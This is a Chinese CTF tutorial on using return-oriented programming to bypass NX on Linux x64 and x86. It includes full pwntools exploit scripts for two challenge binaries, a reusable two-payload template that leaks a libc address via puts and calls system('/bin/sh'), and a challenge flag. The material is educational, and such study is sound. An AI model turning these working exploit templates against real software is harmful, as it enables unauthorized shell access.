在近期的 CTF 比赛里,频繁地遇到开启了 NX 保护的二进制程序,绕过 NX 保护最常用的方法就是 ROP。网络上关于 ROP 的原理和 CTF 这类题目的文章较多,但是这些文章要不就是给出了一堆代码,要不只是单纯地讲解 CTF 题目和 ROP 原理(写的还不详细),也缺乏系统性地讲解这类 CTF 题目的解题步骤,这通常会阻碍初学者的学习步伐和热情。
所以本文主要总结了 ROP 绕过 NX 涉及的多个知识点,并给出 ROP 绕过 NX 常见的步骤,从而形成一套完整可用的解题框架,最后结合最近二道 CTF 题目教会读者如何应用这套框架快速解决这类问题。
这部分只总结你需要成功利用 ROP 绕过 NX 保护需要具备的基础知识。
(1)linux_64 与 linux_86 的区别
首先是内存地址的范围由 32 位变成了 64 位。但是可以使用的内存地址不能大于 0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86 中参数都是保存在栈上 , 但在 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9寄存器中 ,如果还有更多的参数的话才会保存在栈上。
(2)函数调用约定
函数的调用约定就是描述参数是怎么传递和由谁平衡堆栈的,以及返回值的。常见的四种调用约定如下:
_stdcall (windowsAPI 默认调用方式)
_cdecl (c/c++默认调用方式)
_fastcall
_thiscall
每种约定的具体内容你可以自行去 Google 学习,但是在 CTF 中你只需要打开 IDA 阅读二进制的汇编代码就可以清晰地看懂程序的参数传参顺序 、栈传参还是寄存器传参 、函数内平衡堆栈还是函数外 。用 IDA直接阅读程序的汇编代码非常关键——第一,出题人很可能会在汇编中做些手脚;第二,国际大佬都是不用 F5 的。
(3)CTF 的二进制题目有时候为什么要给一个 libc.so 文件
告诉你程序具体使用了什么版本的 libc.so,在 ROP 绕过 NX 技术中也是告诉你 libc 的函数之间的偏移地址 。libc 加载基地址一般会变化但是 libc 里面的函数相对地址和相对基地址的偏移是不会变的。
(4)溢出覆盖 EIP 指向的位置为函数地址来触发函数的调用和在汇编中用 call 去调用函数地址去执行有什么区别?
后者比前者多了一个下一条汇编指令地址入栈的操作,然后他们都会到函数的第一行汇编代码开始执行。
(5)GDB 调试的时候我该如何输入不可见字符
GDB 调试的程序如果开始等待用户输入,这时候 GDB 是处于等待状态的,没法帮助你输入内容。查找 Google。最佳的解决办法就是这样:
# 千万别用 python -c "print '\x00\x61'" > input,\x00 不会被打印,不会写入文件
# 编写 Py 脚本
s = "\xa9\x06\x40\x00\x00\x00\x00\x00"
with open("input", "wb") as f:
f.write(s)
# GDB 开始调试
r < input
(6)各输入输出函数的原型
掌握输入输出函数的原型,主要是知道你需要给他们传递哪些参数。涉及的主要有:
int scanf(char *format[,argument,...]); # 举例 scanf("%s", &buffer); 输入
int printf(const char* format,...); # 举例 printf("%s", buffer); 输出
char * gets (char * str); # 举例 gets(buffer); 输入
int puts(char *string); # 举例 puts(buffer); 输出
ssize_t read(int fd, void *buf, size_t count); # 举例 read(0, buffer, 1024); 输入
ssize_t write(int fd, const void * buf, size_t count); # 举例 write(1, buffer, size); 输出
(7)清楚地掌握常用输入输出函数在处理字符串上的区别,尤其是在处理空白字符,\n,\0 上的异同
scanf("%s",str):匹配连续的一串非空白字符,遇到空格、tab 或回车即结束,并在字符串结尾添加 \0,这些空白字符会留在缓冲区;字符串前的空白字符没有存入 str,只表示输入还未开始。
gets(str):可接受回车键之前输入的所有字符,并用'\0'替代 '\n'. 回车键不会留在输入缓冲区中。
printf("%s",str)和puts(str)均是输出到'\0'结束,遇到空格不停,但puts(str)会在结尾输出'\n'
read 和 write 参数虽然较多但是相比前面的函数非常可控,严格按照指定的字节数操作,并且能处理任意字符
(8)什么是 NX 保护
最早的缓冲区溢出攻击,直接在内存栈中写入 shellcode 然后覆盖 EIP 指向这段 shellcode 去执行,所以 NX 即 No-eXecute (不可执行) 的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。
(9)pwntools、汇编知识、缓冲区溢出原理等
这里引用别人的图片和说明。最基本的 ROP 攻击缓冲区溢出漏洞的原理:(图里基于 x64 平台,注意 x64 使用 rdi 寄存器传递第一个函数参数)
工作原理描述如下:
①当程序运行到 gadget_addr 时(rsp 指向 gadget_addr),接下来会跳转到小片段里执行命令,同时 rsp+8(rsp 指向 bin_sh_addr)
②然后执行 pop rdi, 将 bin_sh_addr 弹入 rdi 寄存器中,同时 rsp + 8(rsp 指向 system_addr)
③执行 return 指令,因为这时 rsp 是指向 system_addr 的,这时就会调用 system 函数,而参数是通过 rdi 传递的,也就是会将 /bin/sh 传入,从而实现调用 system('/bin/sh')
所以纵观我们整个 ROP 利用链的环节,有三个很重要的问题需要解决:
其实还有一个问题很重要,就是确定你的返回地址 return_addr 前面缓冲区到底有多大,这样才能准确的实现缓冲区溢出覆盖。做法有二种:一是直接从 IDA 的 F5 源码和汇编计算得到;二是使用 GDB 动态调试一下。
下面分别就上面三个问题给出具体的解决方案,最终完成整个 ROP 绕过 NX 保护的攻击。
(1)如何搜索你需要的 gadget_addr?
gadget_addr 指向的是程序中可以利用的小片段汇编代码,在上图的示例中使用的是 pop rdi ; ret ;
对于这种搜索,我们可以使用一个工具:ROPgadget
项目地址:https://github.com/JonathanSalwan/ROPgadget.git
图中地址 0x4007e3 就是我们需要的 gadget_addr。
(2)bin_sh_addr 指向的是字符串参数:/bin/sh\0。
首先你需要搜索一下程序是否有这样的字符串,但是通常情况下是没有的。这时候就需要我们在程序某处写入这样的字符串供我们利用。我们需要用 IDA 打开程序,看左边函数窗口程序加载了下面哪些函数:
read、scanf、gets
通常我们将这个字符写入 .bss 段。.bss 段是用来保存全局变量的值的,地址固定,并且可以读可写。通过 readelf -S pwnme
这个命令就可以获取到 bss 段的地址了(ida 的 segements 也可以查看)。
(3)system_addr 则指向 libc 中的 system 函数 。
可以先查看一下程序本身有木有可以利用的子函数,这样可以大大减少 EXP 开发时间。因为从 libc 中使用函数,需要知道 libc 的基地址。通常得到 libc 基地址思路就是:
泄露一个 libc 函数的真实地址 => 由于给了 libc.so 文件知道相对偏移地址 => libc 基地址 => 其他任何 libc 函数真实地址
泄露一个 libc 函数的地址需要使用一个能输出的函数,同样用 IDA 打开程序,看左边的函数窗口程序加载了哪些函数可以利用:
write、printf、puts
特别注意:由于 libc 的延迟绑定机制,我们需要选择已经执行过的函数来进行泄露。你需要找到函数的 plt 地址,找到 jmp 指向的那个地址才是我们需要泄露的(参考后文 classic)。
总结上面的内容,一个基本的的 ROP 绕过 NX 利用的流程是 :
网上很多人会使用 pwntool 的 DynELF 作为泄露的工具,但是这种方法经常会遇到各种问题,尤其是只能利用 puts 函数泄露的时候。另外的做法是自己编写二个 payload 完成上述的利用流程,第一个 payload 去完成泄露并再次到漏洞函数执行,第二个 payload 执行写入 "/bin/sh\0" 字符串到 .bss 并让程序调用 system ,这样得到 shell。
我强烈推荐后面的双 payload做法,也是我去解决后文 classic 题目的做法。因为我最初明白 ROP 步骤中的泄露原理还是通过钻研网上的 DynELF leak 案例搞懂的,下文会先帮助读者分析明白 DynELF leak 函数编写的原理,再讨论我推荐的做法。(当然 pwntool 有 ROP 模块可以直接用,但是这种不是万能,处理一些不常规的题目时效果不好,也不利于学习 ROP 的原理)
使用这个 pwntool 模块,最重要的是编写 leak 函数。只要 leak 函数编写好了,你只需要调用对象相应的方法,pwntool 会帮助你自动完成泄露的工作。这里提供两篇文章:
http://binarysec.top/post/2018-01-30-1.html 一个 32 位平台使用 write 写的 leak 函数文章
https://www.anquanke.com/post/id/85129 一个使用 write、puts 对比写 leak 函数的文章(错误真多)
第二篇错误真的太多了,但是他给初学者一个很重要的启示就是不同的输入输出函数以及不同的平台在编写 leak 的时候是很不一样的!我就按照第一篇例子,分析一下在 32 位平台下他的 leak 函数原理:
from pwn import *
elf = ELF('./level2')
write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
# 官方给的 leak 说明是需要出入一个地址,然后放回至少一个字节的该地址的内容!这就是 leak 的外部特性
def leak(address):
payload1='a'*140+p32(write_plt)+p32(vuln)+p32(1)+p32(address)+p32(4)
p.send(payload1)
data=p.recv(4)
print "%#x => %s"%(address,(data or ' ').encode('hex'))
return data
p = process('./level2')
d = DynELF(leak,elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
这样这个 payload1 被溢出后,当漏洞函数结束,EIP 指向 write_plt,去执行,会把此时的栈顶当做下一条返回指令 (vuln),下面三个栈元素作为参数,因此执行 write 时候会输出 address 地址四个字节,然后又回到 vuln 漏洞函数去执行。
PS:如果读者要自己编写 leak,建议别直接照搬网上的代码,请自己理解清楚后选择合适的输出函数 ,按照合适的函数传参 ,堆栈平衡规则去编写!
PS:并且高度重视处理好输入输出的缓冲区内容的重要性 ,使用 p.recvuntil 将不必要的输出读掉(尤其注意 \n),不然会影响 p.recv(4) 读取泄露的 address 内容,导致 pwntool 出错!
小技巧 :你可以将 leak 单独拿出来,做一个 POC 来测试是否泄露出你指定的地址是否正确来验证你的 leak 是否正确。
这是我自己取得名字,其实就是告诉你不必借助 DynELF 模块把上面的 leak 函数 payload1 拿出来作为你的第一个 payload,执行完后在你自己的代码里计算出一些绝对地址和你需要的信息,因为程序回到了漏洞函数的点,你再次编写 payload2 去执行后续的步骤即可。
这里给出一个我的利用 x64 puts 泄露的 ROP 绕过 NX 的 POC 模板(来自解决后文 classic 题目的,会详细讲解),以便以后快速构造利用脚本。用 puts 去泄露挺麻烦的,用其他输出函数泄露会比这个模板简单一些。
# encoding:utf-8
from pwn import *
"""
第一次溢出,获取 put 函数在内存中的真实地址
通过 put 在内存中的真实地址与 put_libc,计算 system 函数真实内存地址
第二次溢出,写入 '/bin/sh\0' 到 .bss 段,并利用 ROP 布置好 system 需要的参数,并跳转到 system 函数地址执行
拿到 Shell
"""
# libc.so 文件作用是告诉你相对偏移!
libc = ELF('./libc-2.23.so')
put_libc = libc.symbols['puts']
# print "%#x" % put_libc # 0x6f690 就是 puts 在 libc 中的偏移(相对地址)!
system_libc = libc.symbols['system']
# print "%#x" % system_libc # 0x6f690 就是 puts 在 libc 中的偏移(相对地址)!
puts_plt = 0x400520 # .plt 段里的 puts 函数地址,你需要一个输出函数
vuln_addr = 0x4006A9 # 这里填写漏洞函数里面汇编第一个地址
poprdi_ret = 0x400753 # pop rdi ; ret
p = process('./classic', env = {'LD_PRELOAD': './libc-2.23.so'})
address = 0x601018 # 需要泄露的函数在 libc 中的地址,IDA 查看,是 .plt 段这个函数写的 jmp cs:off_601018
payload1 = 'a'*(48+24)+ p64(poprdi_ret) + p64(address) + p64(puts_plt) + p64(vuln_addr)
p.sendline(payload1) # 自动添加 \n
print p.recvuntil('Have a nice pwn!!\n')
s = p.recvuntil("\n")
# 后面这些处理是因为 puts 输出长度不定和一些特性导致的,比较复杂
data = s[:8] # 遇到 0a 很烦,puts 也会终止
while len(data) < 8:
another_address = address + len(data)
payload1 = 'a'*(48+24)+ p64(poprdi_ret) + p64(another_address) + p64(puts_plt) + p64(vuln_addr)
p.sendline(payload1) # 自动添加 \n
print p.recvuntil('Have a nice pwn!!\n')
s = p.recvuntil("\n")
data += s[:8]
# puts 遇到 \0 会停止并在末尾添加 0a,我日
# 输出一下泄露的内容,puts@got 地址是此处倒序
print "%#x => %s" % (address, (data or '').encode('hex'))
# 泄露出地址,然后进行攻击
# 由于 libc 的延迟绑定机制,我们需要选择已经执行过的函数来进行泄露
data = data.replace("\n", "\0")# 把 puts 替换的 0a 全部换成 00,尤其是 上面 print 输出的末尾那些 0a 必须换!
put_addr = u64(data) # 8 字节的字符转换为 " 地址格式 "
print "put_addr: ", hex(put_addr)
system_addr = put_addr - put_libc + system_libc
bss_addr = 0x0601060 # IDA segment ,选择 .bss 的 start 地址
gets_plt = 0x400560
# 完成 bss_addr 段的写入,并将写入的地址放到 rdi 寄存器,然后调用 system
payload2 = 'a'*(48+24) + p64(poprdi_ret) + p64(bss_addr) + p64(gets_plt) + p64(poprdi_ret) + p64(bss_addr) + p64(system_addr) + p64(vuln_addr)
p.recvuntil("Local Buffer >>")
p.sendline(payload2)
p.sendline('/bin/sh\0')
p.interactive()
至此有了 ROP 绕过 NX 的流程和 POC 模板,基本可以解决绝大部分这类题目了!但是解题的时候思路别限死在我说的方法上了,思路活跃非常重要 ~
接下来讲解一道灵活的的 ROP 绕过 NX 的题目,以及一道利用通过 puts 泄露的 POC 模板解决的题目。
IDA64 打开程序,F5 浏览程序逻辑(当然大佬都是直接看汇编的),找到如下函数:
很明显存在缓冲区溢出漏洞,我们使用 checksec.sh 检查一下程序保护机制:
开启了 NX 保护 :NX 即 No-execute (不可执行)的意思,NX (DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。
考虑使用 ROP 绕过 NX 保护,但是我们不知道 libc.so 加载基地址,再次观察 IDA 发现:
ROP(Return Oriented Programming) 即面向返回地址编程,其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段 (gadgets)来改变某些寄存器或者变量的值,从而改变程序的执行流程,达到预期利用目的 。
如果你要使用 DynELF 的思路,在本题需要采用 puts 编写 DynELF 需要的 leak 函数,再使用 ROP 调用 scanf 将 "/bin/sh" 写入 .bss 段,因为程序只加载了 puts 和 scanf 函数,会很麻烦的。
但是我们再次仔细审视程序,首先本题有一个 doit 函数,其中调用了 system 地址,可以直接利用 ,攻击者无需相伴去泄露 system 在 libc 中的真实地址:
第二,本题有一个非常神奇的地方,如果只阅读 F5 的 IDA 代码是无法发现的:
vul() 漏洞函数里面居然人为多了一条 mov rdi,rsp
!这不就是将 rdi 指向了 scanf 读入的数据在内存中的第一个位置吗?!利用这一点可以很简单的实现 ROP ,因为你不需要再想办法写入 "/bin/sh\0" 到 .bss 段了!最终的 POC 如下:
# encoding :utf-8
from pwn import *
buf = "/bin/sh\0" + 'A'*(8192 - 8)
buf += p64(0x400722)
p = process('./stackoverflow64_withoutleak')
# p = remote('pwn.thuctf2018.game.redbud.info', 20001)
p.recvuntil("welcome,plz:")
p.send(buf)
p.interactive()
作为一名 web 狗,这道题是我第一次在比赛期间成功使用 ROP 绕过 NX 实现 PWN 的题目,非常有成就感!虽然遇到点挫折花了我一些时间,最后还踩到了一个坑以至于不得不让队里的一个大佬指点一下,但是也是因为这道题最终彻底弄懂 ROP 绕过 NX 的原理,总的来说非常让人开森 ~
首先 IDA 打开程序:
红色的出现缓冲区溢出,紫色可以确定需要的溢出空间为 (48 + 24) 个字节,这样下一个栈地址才是 main 函数执行完会执行的指令存放的位置。这里其实我是使用 gdb 动态调试得到的。
然后我们来编写我们的利用脚本(此处略去很多坑的细节)。按照前面总结的思路,我们需要先泄露 puts 函数的真实地址以此来得到 system 地址。
(1)首先得到关于 puts 在 got 表的地址
网上很多文章使用 ELF("./classic") 和 symbols['puts'] 得到 put_plt 地址,但是得到的不准确。因为这个地址是确定的,我们直接在 pwngdb 中调试观察:
再在 IDA 中查看这个地址,可以看到 0x601018 是我们需要泄露的地址
(2)编写第一个 payload
考虑到 x64 是寄存器传参,我们需要使用 ROPgadget.py 得到一个小片段汇编:
poprdi_ret = 0x400753 # pop rdi ; ret
这样我们的第一个 payload1 的利用编写如下:
puts_plt = 0x400520
vuln_addr = 0x4006A9 # 这里填写漏洞函数里面汇编第一个地址
poprdi_ret = 0x400753 # pop rdi ; ret
p = process('./classic', env = {'LD_PRELOAD': './libc-2.23.so'})
address = 0x601018 # 需要泄露的地址,是 plt 这个地址写的 jmp cs:off_601018
payload1 = 'a'*(48+24)+ p64(poprdi_ret) + p64(address) + p64(puts_plt) + p64(vuln_addr)
p.sendline(payload1) # 自动添加 \n
这个 payload1 泄露出 address 之后,会重新开始执行 vuln_addr 漏洞函数的内容,又可以继续利用
(3)puts 函数处理
这是我遇到的最麻烦的事情,首先 puts 函数有这些特性:
我在尝试了很久终于写出了如何在上面 payload1 发送后成功得到争取的 puts address 的方法:
注意,在读取泄露的内容前需要读取完程序会输出的内容(payload1 是在漏洞函数结束后才执行)
print p.recvuntil('Have a nice pwn!!\n')
s = p.recvuntil("\n")
data = s[:8] # 遇到 0a 很烦
while len(data) < 8:
another_address = address + len(data)
payload1 = 'a'*(48+24)+ p64(poprdi_ret) + p64(another_address) + p64(puts_plt) + p64(vuln_addr)
p.sendline(payload1) # 自动添加 \n
print p.recvuntil('Have a nice pwn!!\n')
s = p.recvuntil("\n")
data += s[:8]
print "%#x => %s" % (address, (data or '').encode('hex'))
data = data.replace("\n", "\0") # 把 puts 替换的 0a 全部换成 00,尤其是 上面 print 输出的末尾那些 0a 必须换!
put_addr = u64(data) # 8 字节的字符转换为 " 地址格式 "
print "put_addr: ", hex(put_addr)
这里说明一下,data 本来该是 puts 在 libc 中的地址,但是由于 puts 遇到 0x00 这个字节会停止,并且在末尾补上 0x0a,所以我们需要循环触发 payload1 让 puts 输出的 data 至少到 8 个字节。在大多数情况下,直接将所有 0x0a 替换为 0x00 可以得到正确的泄露地址。
然后 u64 就是把 8 字节的字符转换为 " 地址格式 "(0x401020 这种)
(4)利用相对偏移计算 system 地址
# libc.so 文件作用是告诉你相对偏移!
libc = ELF('./libc-2.23.so')
put_libc = libc.symbols['puts']
# print "%#x" % put_libc # 0x6f690 就是 puts 在 libc 中的偏移!
system_libc = libc.symbols['system']
# print "%#x" % system_libc # 0x6f690 就是 puts 在 libc 中的偏移!
system_addr = put_addr - put_libc + system_libc
(5)编写第二个 payload2
bss_addr = 0x0601060 # IDA segment ,选择 .bss 的 start 地址
gets_plt = 0x400560 # gdb 动态调试得到,IDA 查看验证,和 put_plt 得到原理一样
payload2 = 'a'*(48+24) + p64(poprdi_ret) + p64(bss_addr) + p64(gets_plt) + p64(poprdi_ret) + p64(bss_addr) + p64(system_addr) + p64(vuln_addr)
p.recvuntil("Local Buffer >>")
p.sendline(payload2)
p.sendline('/bin/sh\0')
p.interactive()
可以参考前面的 DynELF leak 函数分析步骤去理解 payload2 为什么这么编写,总体而言就是调用 gets 函数将后面用户输入的 "/bin/sh\0" 写入 .bss 段,然后利用一个 pop rdi ; ret ;
将写入的 "/bin/sh\0" 地址放入 rdi 寄存器,再调用 libc 的 system 函数得到 shell。
最终得到的 POC 就是前面双 payload 利用模板的代码,flag 是
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
文件下载:classic